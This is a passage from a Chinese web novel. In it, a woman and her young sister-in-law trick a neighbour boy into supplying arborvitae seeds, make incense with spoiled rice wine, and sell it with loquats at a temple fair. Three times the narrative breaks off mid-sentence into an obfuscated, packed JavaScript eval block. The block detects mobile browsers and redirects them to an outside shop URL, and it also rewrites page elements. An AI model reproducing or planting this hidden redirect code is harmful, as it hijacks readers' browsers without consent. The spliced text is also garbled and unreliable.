徐成愣住,脱口而出:“你咋会有?你家又没有鸭子,也买不起鸭蛋,你是哄我的。” “谁哄你,哄人的是小狗。” 冯五月边说着,用指头在脸上作出羞羞的动作。 徐成被她唬住了,“真的?那,你拿出来给我看看。” “看就看。” 冯五月撂下扫帚,转身就进了屋。再出来,她手里竟然真的拿着一颗蛋。那颗蛋是绿色的,上面还有花纹,就像是……就像是冬天的冰裂了一样。 “你真的有蛋?” 徐成眼睛都看直了,不敢相信,“你哪来的蛋?你的蛋怎么和我的长得不一样?” “你管我呢。” 冯五月一把将那颗蛋藏在了身后。 徐成有些急了,顾不得去看那蛋,起身就急匆匆往自家屋里跑,一边跑一边还不忘回头强调:“你别走。” 没多久,他也拿了一颗蛋出来。那颗蛋是天青色的,还没来得及从红色的蛋兜里拿出来。 “我和你斗蛋。” 他将蛋从蛋兜里掏出来,蛋尖朝着前头,杵到了冯五月跟前。 11. 挑唆 冯五月等的就是这一出。她将蛋从身后拿了出来,蛋尖同样朝着前头。 蛋尖对蛋尖。 不过一个回合,咔嚓!徐成的蛋,从上头破了。 他傻眼。 想起早晨他是用“肚子”斗赢了虎子,忙将那蛋调换了个方向,肚子朝着前头。 “再来,这次,咱们换肚子。” 冯五月见状,也将手里蛋调换了个方向。 肚子对肚子。 同样不过一个回合,咔嚓一声,徐成手中的蛋以肚子为中心,彻底往四周裂开了。 “我的蛋。” 徐成呆若木鸡,反应过来,嚎啕大哭起来。他一屁股跌坐在地上,两只手胡乱拍打着地面。 “小成,小成!” 院子里王淑云听到外头动静,一叠声疾呼。 徐成宛若听到了天籁,一跟头从地上爬起来,一边抹着眼泪,一边跑进了屋。 “就知道哭,每回哭了,就找你娘。” 冯五月有些嫌弃,对着他的背影又作出羞羞的表情。羞完,拿起扫帚,几下把徐成遗忘在外头的那些侧柏子扫进了自家院子。 再关上门,撂下手里扫帚,她没忍住噗嗤一声,笑了出来。 见蔺春来含笑看着她,莫名的,脸上有些做烧。便清了清嗓子,收起笑容,跑到了蔺春来跟前。 “嫂嫂,谢谢。” 不等蔺春来回答,“这些侧柏子,够吗?” “不够。” 蔺春来如实回答,顾不得打趣她,目光落在那些侧柏子上。这回的侧柏子虽然比上回的多,可,要想做成线香,还差得远。 这些量,加上上回她捡进来的,最多只能做出五六根线香。 五六根,哪里够卖呢? “那怎么办?” 冯五月一听不够,脸上就有些沮丧。她并不知道,蔺春来打算卖线香,只是,先头见蔺春来收集侧柏子,没忍住问了一嘴,才知,蔺春来打算做线香。 侧柏子能做线香? 她还是头一回听说呢。 虽不知蔺春来为何要做这东西,可,对方既然提了,她便放在心上。这次,“蛋”做成了,她心中对蔺春来,别提有多服气了。 徐家院子里有一棵侧柏树,那树已经有些年头了,这季节,正值侧柏子旺盛生长,她没少听到徐成央着徐梅花,采下一捧又一捧的侧柏子。 “柏子要一直长到秋天才掉落呢,不着急,再等等。” 蔺春来嘴上说着不急,心里却是有些急的。知晓冯家欠债后,她心里就存着事,想着,得找个赚钱的法子。不说立刻帮着把债还上,就说,基本的衣食住行得保证。 吃饱饭,是眼下面临的第一件难事。 但乡野之间,没啥可利用的。好不容易,看到徐成扔过来的侧柏子,她想到做线香卖线香这条路。但,去周围找了找,没找到野生的侧柏树。小阳山上或许有树,但山头有主,她上不去。 无奈之下,这才把主意打到了徐家的树上。 徐家那棵树,实在枝繁叶茂,但她不好舔着脸去徐家要。思索再三,决定从徐成下手,因此“挑唆”着冯五月,与徐成斗蛋。 徐成是个不吃亏的,年纪又小,斗输了蛋,心里有气,一定会对冯五月撒气。至于这撒气的法子,自然是,原封原样,拿侧柏子打人。 其实这法子,有点不太道德,需要冯五月吃点亏。她犹豫着与冯五月说了,冯五月一拍胸脯,说包在她身上。 怪对不起这孩子的。 愧疚再度涌上心头,她又默默记下一笔人情账,恰好院子里枇杷树上掉下一片叶子,她盯着那叶子,看了一会儿,又抬起头,看向枝头。 枝头已经挂果,圆溜溜的枇杷已经逐渐变得金黄,再等些时日,就能采摘了。 “五月,这些枇杷,之后是不是也要拿去集市上卖?” “是啊。” 冯五月点头,“再等上十天来,就能摘下来,拿去镇上卖了。” 三山镇的枇杷和藕一样,声名远扬。每年枇杷成熟的季节,家里有枇杷的,就会采下枇杷,拿到集市上售卖。自家这么多年皆是如此,今年,自然也不例外。 “嫂嫂,你还没吃过我们这里的枇杷吧?” 桃源镇和三山镇之间隔着好多座山呢,那里不兴吃枇杷,冯五月下意识以为,蔺春来没吃过这里的枇杷。她有些热切,道:“虽然娘说了,不准我偷偷摘下来吃,但,小鸟会来。等小鸟把果子啄一个口子,枇杷就会掉下来,到时候。” 说到到时候,又有些赧然。 虽然小鸟啄过的枇杷很甜,但毕竟不是正儿八经从枝头摘下来的,自己倒是不嫌弃,可若给嫂嫂吃,也不知,嫂嫂会不会嫌弃呢? 怕蔺春来嫌弃,她把后头的话咽了回去。 蔺春来听出了她想说什么,顺着她的话道:“那,等枇杷落下来的时候,咱们捡起来吃,吃完了,要记得,种子莫扔。倘若徐成再打你,你也打他。” “嫂嫂的意思是,让我用枇杷种子……” 冯五月有些惊讶,她听明白了,蔺春来的意思,是让她把枇杷种子攒起来,回头反砸到徐成身上。 枇杷多子,一颗枇杷里,有好多颗小籽呢。 她拿枇杷种子反砸回去,既能报仇,还能,换回更多的侧柏子。徐成那家伙,手欠,到时候,一定会用侧柏子还击她,一来二去,她就有能多的侧柏子了。 …… 姑嫂两个忙着将扫进院子的侧柏子挑选出来,而徐家院子里,正是鸡飞狗跳。 徐成哭的眼泪鼻涕糊了一脸,王淑云怎么哄都不顶用。 “娘,你给我买个蛋,我要蛋!” 徐成嚷嚷着要蛋。 王淑云只当,他是斗输了蛋,想要一颗新的蛋。虽然买新的蛋,得花钱,可,儿子要了,哪怕心里再舍不得,也得买,她一口应下:“好,给你买,给你买。” “我现在就要!” 徐成得寸进尺,说了要蛋,现在就要。 王淑云顺着他,“好好好,现在就给你买。” 转过头,使唤灶房里,闷声坐在灶前,正往灶膛里添柴的女儿梅花:“梅花,你去一趟虎子家,说是,我要一个咸鸭蛋。钱我晚点给。” “我不要虎子家的蛋!” 徐成一听要给他买虎子家的咸鸭蛋,立刻不干了,他嚷嚷:“我要五月手里的蛋,我就要那一颗!” “她那颗是假的。” 王淑云张口就来,心里却有些奇怪,这冯家,咋买得起蛋了?莫不是,胡喜君从娘家过来时,还带了蛋? “娘给你买一颗更好的,比她那颗更好。” “我不要别的,我就要那颗。” 徐成才不管三七二十一呢,他就看上了冯五月手里那颗蛋。那颗蛋多漂亮啊,他就要那一颗。 “你这孩子。” 王淑云有些头疼,又好声好气哄着劝着,可偏偏,徐成听不进去。牛脾气一上来,徐成更是躺在地上撒泼打滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480773|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 王淑云弯腰去拉,拉了半天没拉起来,她心里也被撩拨出了火气。想伸手给徐成几下,到底还是没舍得,便扭过头,骂才从灶房出来的徐梅花:“你是聋了不成?你弟弟哭成这样,你动也不见动一下!” * 立夏过后,天气一日赛一日的暖。几个日头下来,枝头的枇杷更黄了。冯五月日日留心院子里,果然,有心急的鸟儿来偷枇杷了。 鸟喙那么一啄,啪嗒,有被咬了小口子的枇杷从枝头掉落。 她欢欢喜喜从地上捡起来。 没急着离开,而是又等到树上掉了几颗果子,一并捡起来后,才蹬蹬蹬蹬跑到了灶房里。 蔺春来在灶房里做饭,还是老样子,蚕豆荠菜粥。 “嫂嫂,吃枇杷了。” 冯五月将手里枇杷递过去,嘴上不忘道:“我在树底下看了看,枝头还有些烂果子。烂果子不好卖,到时候摘下来,咱们自个吃了。娘不会说什么的。” 蔺春来虚虚应了一声,表示自己知道了。 她也没拒绝递过来的果子,小鸟严选,味道绝对可口。顺着破皮的地方轻轻一撕,便把薄薄的外皮撕下来了。没了外皮的遮掩,里头莹白的果肉便完完全全暴露于人前。 既是刚掉下的果子,果子还新鲜着,那果肉汁水充盈,上面泛着莹润的光。 蔺春来喉头动了一下。 轻轻将果肉放进嘴里,微微咬下一口,汁水从果肉中渗透出来。一股蜜一般甜丝丝的味道瞬间席卷了舌头,又顺着咽喉,浸入心底。 “临口镇的枇杷也要上市了,它们镇的枇杷最有名,娘一时半会,又回不来了。” 冯五月见她吃完了一颗,忙不迭又递过来三颗。 蔺春来见她手里只剩一个了,摆了摆手,只拿走了一颗。 冯五月愣了一下,反应过来,心里同样和吃了蜜一样甜。 果肉下肚,种子留下,几天下来,冯五月就积攒了不少种子。 这天,吃过早饭,冯五月又在家门口玩耍。 冯五月拿着扫帚出门洒扫。 徐成看到她,想到了那颗蛋。想到那颗蛋,心里别提有多难受了。 他拿王淑云糊弄他的话说嘴:“五月,我娘说,你那颗蛋是假的。” “你的蛋才是假的。” 冯五月将扫帚使劲往外扫了扫,还羞他:“输了就输了,你怎么还输不起?” “你才输不起!你的蛋就是假的!” “输不起输不起!” 冯五月继续羞他。 他气急,从兜里掏出一把侧柏子,丢了过去。 冯五月躲开。 转身,跑回院子里,捏了一把枇杷种子出来。 枇杷种子砸过来,徐成瞪大了眼,他嘴巴往下一瘪,眼泪说来就来,再一次,嚎啕着跑回去了。 不过,这次,他没找王淑云,而是拽着徐梅花,让徐梅花再给他折几根侧柏树枝。 姐弟两个一个折树枝,一个捋侧柏子。 捋完侧柏子,徐成跑出院子,抓着那侧柏子,砸到了冯五月身上。 一个砸,另一个反砸回来。 就这么来来回回砸了好多回,冯五月手里的枇杷种子没了,她这才意犹未尽住了手。也不恋战,见好就收,跑回了屋。 等外头没动静了,她拿着扫帚,又跑了出去。等将那些侧柏子扫进院子里,她和蔺春来一道,蹲下来,一个捡扫回来的枇杷种子,另一个捡扫进来的侧柏子。 12. 误解 “嫂嫂,这次的数,够吗?” 等将所有枇杷种子和侧柏子捡出来,看着那堆堆成小山的侧柏子,冯五月着急发问。这次的侧柏子,少说也有百来颗呢,再加上之前捡的那些,应该能搓出线香吧。 “暂时够了。” 蔺春来在心里大致估了个数,这次的量,可比之前的多多了。三次所得,加起来能做出几十根线香了。虽然这离目标还有不小的一段距离,可熟能生巧,先做一批,日后得了原料,再做就是。 东西已经到手,事不宜迟,她立刻舀了几瓢水,把所有侧柏子清洗干净。之后,将侧柏子捞出来,放进沸水中焯过。 趁着东西捞出来放凉的功夫,她顺嘴问:“五月,咱们家是不是有一罐黄酒?” 上次从俞大娘屋子窗边路过时,隐隐约约,她闻到一股酒味。那味道不算十分浓烈,应该不是白酒。估摸着可能是黄酒,她试探着问了。 冯五月有些惊讶,“嫂嫂你怎么知道?” 家里的确有一小罐黄酒,说起来,那酒有些年头了。是之前那次,二哥回来时买的,当时二哥没喝完,娘舍不得,就封起来藏在了床底下。 那天,娘又回来,习惯性拿出来看了看。想来,那天酒味飘出来,嫂嫂闻到了吧。 “前两天,我从你们门口经过时,闻到了酒味。” 蔺春来实话实说,这本来就是事实,没什么好隐瞒的。她向来不进俞大娘屋子,除非俞大娘特意点名让她进。 既知道有黄酒,此次不得不开这个口,毕竟,做线香,除了有侧柏子,还需要黄酒。家里有现成的,正好,省得她伤脑筋了。 她把自己的打算说了。 冯五月一听,要拿酒做线香,脸色立刻就变了,“使不得。” 意识到自己有些太激动了,她忙放缓了声音,又道:“嫂嫂,你约莫还不知道,那罐黄酒,是之前二哥买的。娘一直舍不得喝,每回回来,想起来都要拿出来看看。” 要是拿去做线香,那还了得?娘知道了,还不扒了她们两个的皮? 冯五月心下害怕,没忍住又劝说了几句。 蔺春来不知道这酒后面还有这样一段故事,她略作沉吟:“那,能不能先让我看一看?” 看看,应该是可以的。 冯五月想了想,点了头。 两个人一道往俞大娘的屋子去,蔺春来走到门口停住脚,冯五月也习惯了她在外头等,便跑到床底下,趴在地上,伸长手去拿那罐子酒。 那酒藏的深,比那些米啊菜啊的藏的还深,她微微有点够不着,只得趴在地上,往里头钻了钻。 等把酒拿到外头…… “这酒的味道,好像有点不对?” 蔺春来鼻子使劲嗅了嗅,她总感觉,酒的味道和前几天闻到的好像有点不一样。这次的味道,有点酸,还有点说不上来。 “我也感觉,这味道好像和之前不太一样。” 冯五月伸长鼻子跟着嗅了嗅,越嗅,心里越慌。酒的味道,她是晓得的,俞大娘回回拿出来放在鼻子跟前嗅,连带着,她也闻过好多次。 这次的味道,确实有点怪怪的。 “这塞子……” 没看到东西之前,蔺春来不敢断言好坏,她等冯五月将罐子放好,才低头细看。结果一看之下,发现,罐子最上面的木塞,有点掉渣。 也顾不得和冯五月多说了,她手放在木塞上,拔出了木塞。 木塞被拔出的瞬间,木渣掉了她一手,连带着,有不少掉到罐子里。罐子最上层,飘着一些颜色发暗的木渣,显然,是之前掉落的。 除了木渣外,里头还有大大小小十几只蚂蚁的尸体。 “怎么会这样?” 冯五月愕然,木塞看着好好的,可谁能想到,里头不知道是受潮了还是怎么回事,空心了。看那表面上飘着的东西,不是今天才坏的。 她竟然疏忽了,蚂蚁能钻进去,说明罐子口有缝隙,有缝隙就会有酒味散出来,可她竟然没闻到。 怎么办? 料想是她最近忙着斗蛋的事,心思跑到了别处,再加上屋里潮湿,霉气有点重,所以闻到了,可能也忽略过去了,她有些慌张。 “我闻着,这酒稍微有点泛酸,应该是刚坏了没多久。人不能喝了,倒掉也是浪费,不若,给我吧,我试试看,能不能拿着做出线香来?” 蔺春来试着打商量,暗道,这老天爷莫非知道她急需什么,竟然就这么顺理成章给她送来了需要的东西。她本来还发愁怎么说服冯五月和俞大娘呢,现在,不用说服了。 “可是……” 冯五月还是有些踌躇,不死心又凑近闻了闻。好半晌,松了口:“娘那边……” “我会和娘说。” 蔺春来见她松了口,跟着松了口气。俞大娘还不知何时回来,倘若等她回来,要等上一段时间。她急着做线香,能早点开始,就早点开始。 …… 一罐子酒,正好能把手头的侧柏子全盖住。蔺春来把侧柏子倒进去后,重新做了一个木塞,塞在罐子口。 封完罐子第五天,俞大娘回来了。 她倒没第一时间想到那罐子酒,而是和之前一样,去床底下藏菜。藏完菜,顺手就把那罐酒拿出来,然后,就发现了不对劲。 “这酒咋这么沉啊?” 罐子一上手,俞大娘就察觉到不对劲。太重了,那点酒,有这么重的分量?还有,里头怎么哗啦哗啦的有声响? 她有些奇怪,下意识想要打开看看。 手刚摸到木塞上,动作便是一顿。 心口猛地跳了一下,她将罐子往亮处挪了挪。借着日光,她看到,木塞变了。着急忙慌拔出木塞,结果,她险些一个倒仰。 “五月五月!” 冯五月急急忙忙跑进屋。 “谁干的,是不是你嫂嫂?” “娘。” 冯五月暗道不好,虽然早有心理准备,可看到俞大娘大发雷霆,心里还是有点发怵。张嘴便想解释,哪知道,俞大娘风风火火跑出去,找蔺春来的麻烦了。 “是不是你干的?!” 俞大娘抱着罐子冲进了蔺春来屋里,正好蔺春来听到隔壁动静要出去,两个人差点在门口撞个满怀。 “木塞是我新换的,里头的侧柏子,也是我倒进去的。前两天我和五月闻到酒味,发现不对劲,打开一看,酒全部泛酸,表面还飘着木渣和蚂蚁。” 蔺春来抓紧时间,不等问,张嘴就把事情来龙去脉说了一遍。 话音刚顿,又说:“蚂蚁和木渣,都在灶房里放着,娘不信的话,我端过来给娘看看。” 说话间,冯五月已经跑了一趟,把装着木渣和蚂蚁的碗拿了过来。 俞大娘脸上有点挂不住,没想到事情的真相是这样。 “那……那也该等我回来再说。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480774|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她总拿那罐子出来看,兴许,是一直看一直摇,摇着摇着,就把木塞摇松了。罐子里钻了潮气,木塞烂了,蚂蚁爬进去了。 “若是等娘回来再弄,这酒怕是彻底用不上了。正好,拿去给嫂嫂做柏子香,也不算浪费呢。” 冯五月帮着说好话。 俞大娘没当回事,“做香干啥?那玩意既不能吃又不能喝的。” “四月初八浴佛节,十二蛇王生辰,十四吕祖生辰,娘可以去上香啊。镇上和县里庙会多,以后总能用得着。” 冯五月依然还不晓得线香的用途,误会是给自家上香用的。她这么一解释,俞大娘脸色好看了许多。 知道刚才是自己声音大了,俞大娘沉声,虽没指名道姓,但都知道,是说给蔺春来听的:“算了,东西用了就用了,以后干什么,知会我一声。省得我一头雾水,不晓得啥情况。” 又指着罐子:“既然给你用了,就别放我屋里了,随你放哪。” 蔺春来笑着应了。 当晚,大概是心里还过意不去,俞大娘主动提出去灶房煮饭。煮饭时,她从兜里摸出几颗青梅,使唤冯五月给蔺春来送去。 冯五月不动,面上只是笑,“娘怎么不自己去?” “叫你去你就去!” 俞大娘没好气,知道她是故意的,骂了一句小小年纪别操心那么多,强行把青梅塞到她手里。 冯五月无奈,只得把那青梅给蔺春来送过去。 再回来,却是姑嫂两个一起进来的。 “娘,我有事想和你商量。” 蔺春来手里还捏着青梅,一开口,俞大娘掌勺的动作就顿了一下。 “家里的枇杷快熟了,我听五月说,往年都是这个时候采了枇杷,拿到镇上去卖的。今年,正好赶上蛇王生辰,想来枇杷能卖个好价钱。娘手里活多,也不晓得,能不能腾开手?倘若不能,今年,我想去卖枇杷。” “你去?” 俞大娘委实被震惊住了。 拒绝的话还没来得及说出口,又听得:“今年是枇杷大年,枇杷结得好。娘还要给别家采枇杷,手里活一定更多。要是采了自家的枇杷去镇上卖,就不能给别家做活了。” 是啊。 采自家的枇杷去镇上卖,就没法出去做活了,人哪有分身呢? 俞大娘心里直嘀咕,枇杷一天卖不完,往年,她得去镇上好几趟。枇杷这东西,就吃个应季,要么卖枇杷,要么出去帮人采枇杷,两个只能选一个。 若自己选前头的,工钱少拿,若选后头的,家里的枇杷,还真只能蔺春来出去卖。五月一个小姑娘,单独出门,她是不放心的。 但,让蔺春来去卖枇杷,她心里也紧张得很。 “能多赚一点是一点,娘之前也说了,我是家里的一份子。娘走不开,我搭把手,再正常不过。只是,我对镇上到底不熟,到时候让五月跟着我去吧。” 蔺春来不气馁,又搬出了冯五月。?俞大娘没一口应承下来,她含糊道:“容我想想。” 说了想一想,晚上上了床,俞大娘在床上翻来覆去睡不着。 她想了很久,三山镇是三山镇,离桃源镇胡家人在的村子远得很,离蔺春来原来住的蔺家村也远得很。 两个村隶属的两个镇分属两个县,除了平日做活,偶有遇到两个县的人,其他时候还真没遇到。两个县的人,也不可能来自个镇上。 要不,答应吧? 13. 线香 犹豫了一晚上,第二天,俞大娘松口了。只是,她还是有些谨慎,想张嘴提醒蔺春来一句,还没等开口,蔺春来就主动说了:“娘,你有头巾吗?若是没有,到时候我把头发剪一剪,再出门。” “头巾有的。” 俞大娘心中熨贴,知道她明白了自己的意思。死人复生,太吓人,出门再怎么小心都不为过。 她拿了一块蓝色的头巾给蔺春来。 蔺春来收下,等到两日后,先将泡好的侧柏子从黄酒中捞了出来,之后又摊开在院子里晾晒。晾干的侧柏子,果壳和果仁会自动分离,有些没分离的,需要拿手搓一搓。 冯五月帮着一道搓,很快,就把没分离的果壳搓下来了。 搓下来的果壳还需要用石臼碾磨的碎碎的,冯五月又搬来石臼放在枇杷树下,一只手按着石杵,另一只手抓着果壳,往石臼里放。 见她有模有样的,蔺春来放下心,又去处理用剩下的黄酒。用剩的黄酒,本来可以露天放置,当作天然熏香使用。 但这东西实在太稀罕,想着之后搓线香,还要用到,蔺春来便把那罐子酒封起来,存在了灶房里。 忙完黄酒,又忙柏子仁。柏子仁也有其他作用,但眼下,量太少,她只能暂时收起来存在一边。 忙忙碌碌的功夫,冯五月已经将所有柏子壳研磨成了细细的粉状。 粉过筛,加点水搓成泥,反复揉捏,便能搓成线香了。没有工具,纯靠手搓,着实考验手上功夫。 好在蔺春来以前拍视频的时候亲力亲为过,没多久,第一根线香就搓出来了。 “嫂嫂,我能搓一根吗?” 冯五月看得眼馋。到底是小孩子,觉得这样的事很有趣。 蔺春来自然不拒绝。 姑嫂两个一起搓,渐渐地,冯五月有些上手了。搓完了第一根,她吐吐舌头,心说:我搓的怎么这么丑? “挺好的。” 蔺春来及时鼓励。 她偷笑一声,深吸一口气,继续开始搓第二根。 日头渐渐往高处升,日至中天,枇杷树下坐不住了。太阳照过来,照得人眼底明晃晃。 姑嫂两个挪到一边。 到下午,又挪了一回位置,总算把所有线香搓完了。 蔺春来顾不上揉揉酸疼的胳膊,数过数,一共是五十六根。五十六根,倒是够卖了。 “后天我们去镇上卖枇杷。” 她交代冯五月一句,冯五月朗声应下。 到了正日子这天,姑嫂两个天不亮就起来了。枇杷要新鲜,得当天采摘。冯五月是做惯了采摘的活的,不用多说,只一个眼神,便麻溜地爬上树,一只脚踩在树丫上,另一只脚落在地上,两只手上上下下,在树枝深处采摘起来。 蔺春来跟着搭了几回手,又去屋里把做好的线香和装线香的竹筒拿了出来。 竹筒是她前一天做的,前一天,她先狠狠心,给自己剪了个没那么丑但也没有很好看的狗啃刘海,之后在后院里翻翻找找,找到了几根夹杂在木头堆里的竹子。 选了一根合适的,她从中砍断,做成了一个正好能放进线香的竹筒。 “嫂嫂,好了!” 冯五月采了两勾篮枇杷,见差不多了,便暂时罢手。 姑嫂两个一人背一个勾篮,蔺春来背大的,冯五月背小的,起身准备出门。蔺春来忙将头巾戴在头上,又把装着线香的竹筒放在自个勾篮里。 锁上门,两个人抄小路往镇上去。因为有冯五月指路,一路还算顺当。 到镇上,大约是大半个时辰后。 天已经蒙蒙亮,卖豆腐的,卖鱼卖虾的挑着担子鱼贯而入。因今日蛇王生辰,四方村落人群齐齐往镇上蛇王庙汇聚。 蔺春来头一回来镇上,还不知镇上情形。冯五月眼疾手快,拉着她穿来穿去,抢占了一处角落。 “我跟娘来过镇上几回,换过好几个地方,这个地方是最好的。嫂嫂,别看现在人不多,等一会上完香的人出来,人才多呢。” 冯五月轻车熟路卸下勾篮,又压低声音,信心十足道:“上香的人都赶着抢头香,求神符。香上完了,符求到了,他们就不急了。蛇王庙虽然不大,但庙后头连着山林,好些人上完香在山林里逛一逛,才出来呢。他们只能走这个门,若折返回去走正门,就远了。” 你倒是聪明。 只是…… 蔺春来心中叹气,她这会才明白过来,这里是蛇王庙的后门。冯五月说的倒没错,上完香的人不紧不慢,出了庙门,看中什么,顺手买点。 可,她除了卖枇杷,今日还要卖线香。若在这里蹲守,等枇杷卖完,黄花菜都凉了。 “五月。” 环顾四周,见是些卖鱼卖虾,卖时蔬鲜果,簸箕扫帚的,里面有人也同她们一样,用勾篮装了枇杷来卖,想是和冯五月想到了一处。 “我看旁边也有卖枇杷的,一会上完香的人出来,买谁家的还不一定呢。再者,我怕一会卖不完,我想现在去正门叫卖。” “可。” 冯五月指指脚下,还是压低声音:“好多人虎视眈眈呢,要是现在走了,一会回来位置就被人抢了。” “要不。” 蔺春来稍显犹豫,她不敢把冯五月一个人留下。可如果两个人都在这里,不用想了,线香肯定是卖不出去了。 毕竟,等上完香的人出来,庙里的活动也结束了。 “嫂嫂,那要不,我去庙门口叫卖吧,你在这里守着。” 冯五月本来还想再劝,见她面上焦急不似作伪,转念一想,也是这个理,两个人分开卖,能卖的快一点,便改了主意。因想着,自己常来镇上,对镇上熟,便想当然提出,自己去正门。 蔺春来心里却更着急了,眼看着事情与自己设想的背道而驰,她叹口气,纠结了一下,决定,还是实话实说吧。 便实话实说了:“五月,其实我今天出来还带了线香,我想去正门口试试卖香。” “啊?” 冯五月惊的嘴巴微微张起。 她回想了一下,一共搓了五十六根香,所以,这香不是自个用的,是拿来卖的? 那,那为什么呢? 她晓得了,一定是嫂嫂担心家里的债,所以想着替家里分担。 一时间,心里有些说不上的愧疚,愧疚之外,还有些感激。事已至此,她自然没啥好说的了,便点了点头,“嫂嫂,你快去吧,我在这里等你回来。” “你当真能。” 蔺春来还是有些不放心。 冯五月道:“以前娘带我来镇上,我还和她分开叫卖过呢。” “那你一定要警醒些,就在此处,莫到别的地方去。” 蔺春来迟疑了一下,再三叮嘱,见周围还算开阔,乡邻们面目也还算友善,方下定决心。她拿出竹筒,撂下一句“我快去快回”,便急忙往正门去了。 正门在东边,跟着上香的人群走便是。一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480775|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,蔺春来一边留意身边的动静,只见各人手中拿的香并不一样。 有的香粗一点,有的又细一点。大部分香,大小样貌如出一辙,应该是从香烛店买的。有的散香,倒不知是从何来的。 越到正门处,人越多,香烛味也更浓烈。当然,卖香的人也更多。 好不容易找到一处落脚之地,她从竹筒里抽出线香,学着周围走街串巷吆喝的人一样,吆喝:“卖线香喽,卖线香喽,山林柏子香,助你返璞归真,回归山林。” 有人前来问价。 她笑着回应:“十支一把,一把五文钱。” “你这香怎么这么细,跟人家的不一样。” 问价的人不一定是会买的人,显然,第一个问价的没有要买的意思。 蔺春来也不见生气,等他走后,继续出声叫卖:“卖线香喽!纯手工自己搓的线香,来自山林,让你逃离樊笼,返归自然。” “你这小娘子,还能吟得几句诗呢。” 又有人来问价了,是个有点胖留着胡子的美髯公。那美髯公笑眯眯道:“东晋陶渊明说,久在樊笼里,复得返自然。娘子你这香,当真是手工搓的,别的一点都没加?” “当真。” 蔺春来点头,眉眼间不似作伪。 美髯公只是摸着胡子,不说买,也不说不买,“我能拿一支瞧瞧吗?” 蔺春来忙抽出一支递上。 美髯公捏准香头,在手心一搓。 “你没骗人。” “这香我要了。” “刚才我听到你说,一把香五文钱。这样吧,连同我手上这支,我全都要了,价钱嘛,你先算算。” 蔺春来心中惊喜,不用算,她早算过了。 “五十六支香,一共二十七文钱。” “便宜点。” 美髯公开口砍价。 蔺春来道:“那就二十五文吧。” 其实零头六支香不成一把,她本来就想便宜一点卖掉。二十五文,算下来和她最初预想的差不多。 不过…… 她看着美髯公,见对方不说话,心里一沉。 不会吧?还是贵了?要不,再便宜一点? 正犹豫着要不再少说几个数,美髯公已经爽快地拿出了钱。 “二十五文就二十五文。” 美髯公数了二十五文给蔺春来。蔺春来见他手拿着线香不方便,干脆把竹筒也一并给他了。 “娘子是个爽快人。” 美髯公由衷赞叹,还说:“下次如果有机会,我再照顾你生意。” “那便借贵客吉言了。” 蔺春来只是笑。捏着二十五文钱,手心都是热热的。 二十五文啊! 对她来说,是好大的一笔钱。东西卖的这样快,恍似做梦一般。知道冯五月还在等着,也不敢耽搁,当即抬脚顺着来时的路往回去走。 到原来地方,冯五月正在给人装枇杷。枇杷虽应季,可果子实在重。来上香游玩的人可不想占着手,是以没有大主顾一次买光。 蔺春来到跟前,看到小勾篮里的枇杷已经卖的七七八八了。 冯五月见她回来,心中欢喜。 等卖枇杷的人付了钱走了,方扭过头小声问:“嫂嫂,卖出去了吗?” “卖光了。” 蔺春来不瞒她。 冯五月震惊,“卖光了?!” 那,“那……那,卖了多少钱?” 14. 交钱 “二十五文。” 蔺春来还是没瞒着她。 冯五月更震惊了,“二十五文!” 那几十根线香竟然能卖这么多钱!她刚刚卖了大半篮枇杷,才赚了二十文钱。大半篮枇杷,要长一年才能长成,线香可不用一年才能搓成。 嫂嫂真的太厉害了! “嫂嫂!” 她看着蔺春来,眼睛里充满了钦佩。 蔺春来嘴巴朝着蛇王庙后门努努,只见络绎不绝上完香游览完的人群正从里面出来。旁边的摊贩们卯足了劲,开始叫卖了。 姑嫂两个顾不得说话,连忙跟着叫卖起来。 到正午,两勾篮枇杷全部卖光了。两个人收拾收拾,背起空勾篮,又往回去走。 心里记着线香,回去的路上冯五月留意着侧柏树。 “嫂嫂嫂嫂,咱们多捡点侧柏子,省得回去后还要想办法从徐成手里换。反正勾篮也是空的,咱们全部装满,背回去搓成线香。 ” “好啊。” 蔺春来心里也是这么想的,只不过,她没说的是:原料有了,泡原料的黄酒可没有啊。 家里的黄酒就那么多,一罐子,反复利用。两勾篮侧柏子,就算能采到,回去也泡不完。不过机会难得,难得出来,来的路上她也留意过了,路上有侧柏树。 虽然那棵树有点小,侧柏子结的不多,但,总比没有强。白捡的,不比绞尽脑汁从徐成手里换更好? 两个人留意路边的侧柏树,走了一段路,总算看到那棵树了,便喜滋滋上前。采完侧柏子,一路走走停停,到石公村的时候,夕阳已经铺满了整个天空。 蔺春来背上的大勾篮装满了侧柏子,柏子上用路上顺手挖的几株野菜盖着了。冯五月背上的小勾篮里,也装着野菜。不过这时候,没什么野菜了,她的勾篮没装满。 